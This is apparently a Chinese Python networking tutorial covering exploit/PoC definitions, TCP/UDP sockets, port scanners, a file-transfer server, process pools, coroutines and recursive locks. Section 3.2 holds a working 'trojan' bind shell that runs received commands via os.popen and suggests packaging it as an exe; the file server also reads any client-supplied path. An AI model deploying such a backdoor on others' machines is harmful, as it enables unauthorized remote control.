Python工具

一、EXP

EXP = Exploit = 漏洞利用程序

EXP 是一段能够主动触发目标系统 / 软件的安全漏洞,并直接达成攻击目的(获取权限、执行命令、控制主机)的可运行代码或脚本。

漏洞利用代码

作用:利用漏洞直接攻击成功,拿到权限 / 控制目标

比喻:"我推门进去,控制房间"

二、POC

POC(Proof of Concept)

漏洞验证代码

作用:证明漏洞存在 ,但不破坏、不控制、不拿权限

比喻:"我发现门没锁"

三、网络通信

3.1 循环通信

服务端

复制代码
#服务端程序  
import socket  
  
def main():  
    #socket.AF_INET 使用ipv4通信,socket.SOCK_STREAM使用tcp通信  
    tcp_server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    #绑定端口  
    tcp_server_socket.bind(('',8080))  
    #允许多数人连接我  
    tcp_server_socket.listen(128)  
    #循环为多个客户服务多次  
    while True:  
        #等待用户连接,保存用户的socket和ip地址  
        new_client_socket,client_address = tcp_server_socket.accept()  
        print("the %s connecting"%(str(client_address)))  
        #给客户发送信息  
        new_client_socket.send("welcome".encode("utf-8"))  
        #循环为一个客户服务  
        while True:  
            # 接收来自客户的数据  
            recv_data = new_client_socket.recv(1024)  
            if  recv_data:  
                print(recv_data.decode("utf-8"))  
            else:  
                print("断开连接")  
                break  
        #关闭套接字  
        new_client_socket.close()  
    tcp_server_socket.close()

客户端:

复制代码
#客户端程序  
import socket  
  
def main():  
    tcp_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    server_ip = '192.168.31.7'  
    server_port = 8080  
    server_add = (server_ip,server_port)  
    #连接服务器  
    tcp_socket.connect(server_add)  
    #接受第一次发来的数据  
    first_data = tcp_socket.recv(1024)  
    print(first_data.decode("utf-8"))  
    while True:  
        #持续发送数据  
        send_data = input("send---->")  
        tcp_socket.send(send_data.encode("utf-8"))  
    tcp_socket.close()

3.2 远程控制程序

木马

被害者 -- 服务端

黑客 -- 客户端

网络连接

操作系统命令控制(shell)

使用 pyinstaller 编译成exe程序

服务端(用户)

复制代码
#木马服务端程序(用户)  
import socket  
import os  
  
def main():  
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    host = socket.gethostname()  
    port = 8080  
    s.bind((host,port))  
    s.listen()  
    while True:  
        c,addr = s.accept()  
        print("连接地址:",addr)  
        c.send("welcome".encode('utf-8'))  
  
        while True:  
            try:  
                recv_data = c.recv(1024).decode('utf-8')  
                if not recv_data:  
                    print("客户端断开连接")  
                    break  
                print(recv_data)  
                if recv_data == "cmd":  
                    c.send("ok cmd start".encode('utf-8'))  
                    while True: #循环接受发来的cmd命令  
                        data = c.recv(1024) #接下来要输入的cmd命令  
                        recv_data2 = data.decode('utf-8')  
                        if recv_data2 == "exit":  
                            c.send("ok cmd stop".encode('utf-8'))  
                            break  
                        else:   #执行发送的cmd命令并且读取命令执行结果  
                            x = os.popen(recv_data2).read()  
                                #命令回显  
                            c.send(x.encode('utf-8'))  
                else:  
                    c.send(recv_data.encode('utf-8'))  
            except Exception as e:  
                print("断开连接")  
                print(e)  
                break  
        c.close()  
    s.close()

客户端(入侵者)

复制代码
#木马客户端程序  
import socket  
import os  
def main():  
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    host = '192.168.31.7'  #受害者的ip地址  
    port = 8080  
    s.connect((host,port))  
  
    while True:  
        data_recv = s.recv(1024)  
        print(data_recv.decode('utf-8'))  
        msg = input("send msg:")  
        s.send(msg.encode('utf-8'))  
    s.close()

3.3 端口扫描器

3.3.1 支持命令

复制代码
import sys  
  
def main():  
  
    #sys.argv 是从python xxx.py [参数1] [参数2] ...  
    #xxx.py 就是sys.argv[0] sys.argv[1]就是参数1  
    #通常不把文件名作为参数  
    print(sys.argv) #输出所有的参数  
    print(sys.argv[4]) #输出第5个参数

3.3.2 支持命令的端口扫描器

复制代码
import socket,sys  
  
#ip和端口是否开放  
def ip_port_opened(ip,port):  
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    try:  
        s.connect((ip,port))  
        return True  
    except:  
        return False  
  
#扫描  
def scan(ip,portlist):  
    for port in portlist:  
        if ip_port_opened(ip,port):  
            print("%s host %s port opened"%(ip,port))  
        else:  
            print("%s host %s port closed"%(ip,port))  
  
def rescan(ip,start,end):  
    for port in range(start,end+1):  
        if ip_port_opened(ip,port):  
            print("%s host %s port opened"%(ip,port))  
        else:  
            print("%s host %s port closed"%(ip,port))  
  
def main():  
    default = [21,22,23,25,53,80,110,443,1433,1521,3306,3389]  
    string = sys.argv[1]   #获取第一个参数 python xxx.py [参数一] [参数二]  
    if len(sys.argv) == 2:  #python xxx.py [参数一]  
        if string[0] == '-':  
            option = sys.argv[1][1:]  
            if option == 'version':  
                print("python版本号:3.10.0")  
                sys.exit()  
            elif option == 'help':  
                print("python xxx.py [ip] [port]")  
                sys.exit()  
        else:  
            scan(sys.argv[1],default)  
            sys.exit()  
    elif len(sys.argv) == 3:  
        #port以 逗号 隔开  
        if ',' in sys.argv[2]:  
            port = sys.argv[2].split(',')  
            portlist = []  
            for p in port:  
                portlist.append(int(p))  
            scan(sys.argv[1],portlist)  
        #port以 - 隔开  
        elif '-' in sys.argv[2]:  
            port = sys.argv[2].split('-')  
            start = int(port[0])  
            end = int(port[1])  
            rescan(sys.argv[1],start,end)  
            sys.exit()  
  
if __name__ == '__main__':  
    main()

3.3.3 支持复杂命令的端口扫描器

optionparser

复制代码
from optparse import OptionParser  
  
def main():  
    usage = "usage: xxx.py -f <filename> -i <ip address>" #帮助文件  
    parser = OptionParser(usage = usage) #添加usage方法, xxx.py -h 就会出现以上的帮助  
    parser.add_option("-f","--file",type="string",dest="filename",help="your filename name here")  
    parser.add_option("-i","--ipaddress",type="string",dest="ipadd",help="your ip address here")  
    (options,args) = parser.parse_args()    #获取选项和参数进行赋值  
  
    print(options.filename)  
    print(options.ipadd)

  
from optparse import OptionParser  
import socket, sys  
  
# ip和端口是否开放  
def ip_port_opened(ip, port):  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    try:  
        s.connect((ip, port))  
        return True  
    except:  
        return False  
  
 # 扫描  
def scan(ip, portlist):  
    for port in portlist:  
        if ip_port_opened(ip, port):  
            print("%s host %s port opened" % (ip, port))  
        else:  
            print("%s host %s port closed" % (ip, port))  
# 广泛扫描  
def rescan(ip, start, end):  
    for port in range(start, end + 1):  
        if ip_port_opened(ip, port):  
            print("%s host %s port opened" % (ip, port))  
        else:  
            print("%s host %s port closed" % (ip, port))  
  
def main():  
    usage = "usage:xxx.py -i ip地址 -p 端口"  
    # 初始化命令行参数解析器  
    parse = OptionParser(usage=usage)  
    parse.add_option("-i","--ip",type="string",dest="ipaddress",help="your target ip here")  
    parse.add_option("-p","--port",type="string",dest='port',help="your target port here")  
    #凡是以上parse.add_option定义过的,后面参数自动放进options,其余放进args  
    (options,args) = parse.parse_args()  
  
    ip = options.ipaddress  
    port = options.port  
  
    default = [21,22,23,25,53,80,110,443,1433,1521,3306,3389]  
  
    if ',' in port:     #xxx.py -i 127.0.0.1 -p 80,21,89  
        p = port.split(',')  
        portlist = []  
        for x in p:  
            portlist.append(int(x))  
        scan(ip,portlist)  
    elif '-' in port:   #xxx.py -i 127.0.0.1 -p 80-89  
        p = port.split('-')  
        StartPort = int(p[0])  
        EndPort = int(p[1])  
        rescan(ip,StartPort,EndPort)  
    elif 'all' in port:   #xxx.py -i 127.0.0.1 -p all  
        rescan(ip,1,65535)  
    elif 'default' in port: #xxx.py -i 127.0.0.1 -p default  
        scan(ip,default)  
  
if __name__ == '__main__':  
    main()

3.3.4 多线程端口扫描器(效率最高)

复制代码
from optparse import OptionParser  
import socket, sys  
from threading import Thread  
  
# ip和端口是否开放  
def ip_port_opened(ip, port):  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    try:  
        s.connect((ip, port))  
        return True  
    except:  
        return False  
# 扫描  
def scan(ip, port):  
        if ip_port_opened(ip, port):  
            print("%s host %s port opened" % (ip, port))  
        else:  
            print("%s host %s port closed" % (ip, port))  
  
def main():  
    usage = "usage:xxx.py -i ip地址 -p 端口"  
    # 初始化命令行参数解析器  
    parse = OptionParser(usage=usage)  
    parse.add_option("-i", "--ip", type="string", dest="ipaddress", help="your target ip here")  
    parse.add_option("-p", "--port", type="string", dest='port', help="your target port here")  
    # 凡是以上parse.add_option定义过的,后面参数自动放进options,其余放进args  
    (options, args) = parse.parse_args()  
  
    ip = options.ipaddress  
    port = options.port  
  
    default = [21, 22, 23, 25, 53, 80, 110, 443, 1433, 1521, 3306, 3389]  
  
    if ',' in port:  # xxx.py -i 127.0.0.1 -p 80,21,89  
        p = port.split(',')  
        portlist = []  
        for x in p:  
            portlist.append(int(x))  
        #scan(ip, portlist)  
        for i in default:  
            i = int(i)  
            s = Thread(target=scan, args=(ip, i,))  
            s.start()  
    elif '-' in port:  # xxx.py -i 127.0.0.1 -p 80-89  
        p = port.split('-')  
        StartPort = int(p[0])  
        EndPort = int(p[1])  
        #rescan(ip, StartPort, EndPort)  
        for i in range(StartPort, EndPort+1):  
            s = Thread(target=scan, args=(ip, i,))  
            s.start()  
    elif 'all' in port:  # xxx.py -i 127.0.0.1 -p all  
        #rescan(ip, 1, 65535)        for i in range(65536):  
            i = int(i)  
            s = Thread(target=scan, args=(ip, i,))  
            s.start()  
    elif 'default' in port:  # xxx.py -i 127.0.0.1 -p default  
        for i in default:  
            i = int(i)  
            s = Thread(target=scan, args=(ip, i,))  
            s.start()  
  
  
  
if __name__ == '__main__':  
    main()

3.4 UDP

3.4.1 经典案例

服务端程序

复制代码
# /usr/bin/python  
# coding:UTF-8  
import socket  
  
#服务端程序  
def main():  
    #初始化套接字,使用ipv4的udp通信  
    s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  
    s.bind(("",6000))# "" 默认为自己  
    while True:  
        data,addr = s.recvfrom(1024)  
        print("connect by:",addr)  
        print("recv data:",data.decode("utf-8"))  
        s.sendto(data,addr) #回显  
    s.close()  
  
    pass  
  
if __name__ == '__main__':  
    main()

客户端程序

复制代码
# /usr/bin/python  
# coding:UTF-8  
  
#服务端程序  
import socket  
  
def main():  
  
    c = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  
    while True:  
        text = input("------------>")  
        c.sendto(text.encode("utf-8"),("127.0.0.1",6000))  
        if text == "exit":  
            break  
        ans = c.recvfrom(1024)  
        #recvfrom 返回来的不是一个值,而是一个 "元组"  
        #(数据内容, (对方IP, 对方端口))  
        print(ans[0].decode("utf-8"))  
    c.close()  
  
if __name__ == '__main__':  
    main()

3.4.2 UDP聊天室

不分客户端和服务端,双方都运行即可聊天

输入端口的适合,要注意,得转换为int类型

聊天室一边先 send 再recv

另一边要先recv 再send

PC1

复制代码
def send_msg(udp_socket):  
    #获取发送内容  
    dest_ip = input("请输入对方的ip:")  
    dest_port = int(input("请输入对方的port:"))  
    send_data = input("请输入文本:")  
    udp_socket.sendto(send_data.encode("utf-8"),(dest_ip,dest_port))  
  
def recv_msg(udp_socket):  
    recv_data = udp_socket.recvfrom(1024)   #data,addr  
    print("%s 说了 %s"%(str(recv_data[1]),recv_data[0].decode("utf-8")))  
  
def main():  
    #创建udp套接字  
    udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  
    #绑定信息  
    udp_socket.bind(("",8080))  
    while True:  
        send_msg(udp_socket)  
        recv_msg(udp_socket)

PC2

复制代码
def send_msg(udp_socket):  
    #获取发送内容  
    dest_ip = input("请输入对方的ip:")  
    dest_port = int(input("请输入对方的port:"))  
    send_data = input("请输入文本:")  
    udp_socket.sendto(send_data.encode("utf-8"),(dest_ip,dest_port))  
  
def recv_msg(udp_socket):  
    recv_data = udp_socket.recvfrom(1024)   #data,addr  
    print("%s 说了 %s"%(str(recv_data[1]),recv_data[0].decode("utf-8")))  
  
def main():  
    #创建udp套接字  
    udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)  
    #绑定信息  
    udp_socket.bind(("",8080))  
    while True:  
        send_msg(udp_socket)  
        recv_msg(udp_socket)

3.5 简易迅雷

服务端程序

复制代码
#服务端程序  
import socket  
  
def send_file_2_client(new_client_socket,client_address):  
    #客户端要下载的文件名  
    file_name = new_client_socket.recv(1024).decode("utf-8")  
    print("客户端 %s 要下载 %s"%(str(client_address),file_name))  
    #按照客户端的要求读取文件  
    file_content = None  
    try:  
        f = open(file_name,"rb")    #以二进制来读取  
        file_content = f.read()  
        f.close()  
    except:  
        print("没有要下载的文件 %s" % (file_name))  
    #读取出来就发给客户  
    if file_content:  
        new_client_socket.send(file_content)  
  
  
def main():  
  
    tcp_server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    tcp_server_socket.bind(('',7878))  
    tcp_server_socket.listen(100)  
    while True:  
        new_client_socket,client_address = tcp_server_socket.accept()  
        #调用发送文件的函数  
        send_file_2_client(new_client_socket, client_address)  
        new_client_socket.close()  
    tcp_server_socket.close()

客户端程序

复制代码
#客户端程序  
import socket  
  
def main():  
    tcp_socket  = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    dest_ip = input("从哪个服务器下载:")  
    dest_port = int(input("请输入下载的port:"))  
    tcp_socket.connect((dest_ip,dest_port))  
  
    down_file_name = input("请输入要下载的文件名:")  
    #把文件名发给服务器  
    tcp_socket.send(down_file_name.encode("utf-8"))  
    #接收下载文件,1M  
    recv_data = tcp_socket.recv(1024*1024)  
    #保存数据文件  
    with open("new_"+down_file_name,"wb") as f:  
        f.write(recv_data)  
    tcp_socket.close()

3.6 简易进程池聊天程序

默认pool进程数是cpu的核心数量( os.cpu_count() )

如果cpu=4

开启6个客户端连接,发现2个客户在等待

服务端

复制代码
from http import server  
# /usr/bin/python  
# coding:UTF-8  
  
from socket import *  
from multiprocessing import Pool  
import time,os  
  
server = socket(AF_INET,SOCK_STREAM)  
server.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)  
server.bind(('127.0.0.1',8080))  
server.listen(5)  
  
  
def talk(conn,address):  
    print("进程%s 用户%s"%(os.getpid(),address))  
    while True:  
        try:  
            msg = conn.recv(1024)  
            if not msg:break  
            conn.send(msg.upper())  
        except Exception:  
            break  
  
def main():  
    p = Pool(4)  
    while True:  
        conn,address = server.accept()  
        p.apply_async(talk,args=(conn,address))  
  
if __name__ == '__main__':  
    main()

客户端

复制代码
# /usr/bin/python  
# coding:UTF-8  
  
#客户端程序  
import socket  
from socket import *  
  
client = socket(AF_INET,SOCK_STREAM)  
client.connect(("127.0.0.1",8080))  
  
  
def main():  
    while True:  
	    #字符串内置方法,删除字符串开头和结尾的空格、换行、制表符等空白字符
        msg = input(">>:").strip()  
        if not msg:continue  
        client.send(msg.encode("utf-8"))  
        msg = client.recv(1024)  
        print(msg.decode("utf-8"))  
  
  
if __name__ == '__main__':  
    main()

3.7 协程实现网络通信

服务端

复制代码
# /usr/bin/python  
# coding:UTF-8  
  
#补丁先打(socket模块之前),不然gevent无法识别socket阻塞  
from gevent import monkey; monkey.patch_all()  
from socket import *  
import gevent  
  
def server(ip,port):  
    s = socket(AF_INET,SOCK_STREAM)  
    s.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)  
    s.bind((ip,port))  
    s.listen(5)  
    while True:  
        conn,addr = s.accept()  
        gevent.spawn(talk,conn,addr)    #使用协程  
  
  
def talk(conn,addr):  
    try:  
        while True:  
            res = conn.recv(1024)  
            print("client %s: %s msg:%s"%(addr[0],addr[1],res.decode("utf-8")))  
            conn.send(res.upper())  
    except Exception as e:  
        print(e)  
    finally:  
        conn.close()  
  
  
  
def main():  
    server("127.0.0.1",8080)  
  
  
if __name__ == '__main__':  
    main()

客户端:

复制代码
# /usr/bin/python  
# coding:UTF-8  
  
#客户端程序  
from socket import *  
  
def main():  
    c = socket(AF_INET, SOCK_STREAM)  
    c.connect(("127.0.0.1", 8080))  
    while True:  
        msg = input(">>:").strip()  
        if not msg: continue    #空输入,跳过,回到循环开头  
        c.send(msg.encode("utf-8"))  
        msg = c.recv(1024)  
        print(msg.decode("utf-8"))  
  
  
  
  
if __name__ == '__main__':  
    main()

四、迭代锁(递归锁)

创造原因:

两个以上的进程可能因为抢夺资源造成互相等待(死锁进程)

RLock 内部 维护了一个Lock和一个count变量(记录acquire次数)

因为记录了次数,所以才可以让程序被多次acquire、多次加锁,直到一个线程所有acquire都被release,其他线程才能获得资源

而不同Lock是没有count变量的

直观的讲:普通lock只关注有没有被加锁

而Rlock不仅关注有没有加锁,还关注是哪个线程在加锁

1. 死锁进程

复制代码
import time,os  
from threading import Thread  
from threading import Lock as Lock #名字替换,此时就为迭代锁  
  
def main():  
    lock = Lock()  
    lock.acquire()  
    lock.acquire()  
    print(123)  #上面已经拿过一次key了,这边就拿不到了  
    lock.release()  
    lock.release()

2.迭代锁进程

复制代码
from threading import RLock as Lock #名字替换,此时就为迭代锁  
  
def main():  
    lock = Lock()  
    lock.acquire()  
    lock.acquire()  
    print(123)  #上面已经拿过一次key了,这边就拿不到了  
    lock.release()  
    lock.release()

因为 RLock 做了一件关键事情:

它不让同一个线程 "等自己"

普通 Lock 的逻辑是:

> 只要锁被占用,不管谁来,都要等

所以同一个线程第二次拿锁时:

自己等自己 → 直接卡死
RLock 的逻辑是:

> 如果是持有锁的线程自己再来拿
> 
> 不等!直接计数 + 1,放行

这就从根源上杜绝了:

1. 自己把自己锁死
2. 同一线程内多把锁(其实是同一把)互相等待


  
  
import time,os  
from threading import Thread  
from threading import RLock as Lock #名字替换,此时就为迭代锁  
  
noodle_lock = fork_lock = Lock()    #迭代锁,共用一把锁  
  
def eat_1(name):  
    noodle_lock.acquire()  
    print("%s 抢到了面条"%(name))  
    fork_lock.acquire()  
    print("%s 抢到了叉子"%(name))  
    print("%s 吃面"%(name))  
    fork_lock.release()  
    noodle_lock.release()  
  
def eat_2(name):  
    fork_lock.acquire()  
    print("%s 抢到了叉子"%(name))  
    time.sleep(1)  
    noodle_lock.acquire()  
    print("%s 抢到了面条"%(name))  
    print("%s 吃面"%(name))  
    noodle_lock.release()  
    fork_lock.release()  
  
def main():  
    for name in ['顾客1','顾客2','顾客3']:  
        T1 = Thread(target=eat_1,args=(name,))  
        T2 = Thread(target=eat_2,args=(name,))  
        T1.start()  
        T2.start()  
  
if __name__ == '__main__':  
    main()
相关推荐
Fevered 路小小呀!2 小时前
mediapipe新版本怎么玩--面部特征检测
人工智能·python·计算机视觉
normanhere2 小时前
外网线路负载均衡和DNS分流
网络
qq_546937272 小时前
系统安全中心Windows Defender删除禁用工具 !这款工具支持 Win11_10。
安全·系统安全
小能喵2 小时前
信息安全工程师 30题终极押题(速背版)
安全
geyasi2 小时前
【Flask】四、flask连接并操作数据库
数据库·python·flask
DeepModel2 小时前
机器学习降维:多维尺度分析 MDS
人工智能·python·机器学习
浅念-2 小时前
Linux 进程与操作系统
linux·运维·服务器·网络·数据结构·笔记·网络协议
_MyFavorite_2 小时前
JAVA重点基础、进阶知识及易错点总结(17)线程安全 & synchronized 同步锁
java·开发语言·安全
GinoWi2 小时前
Chapter 8 Python中的类
python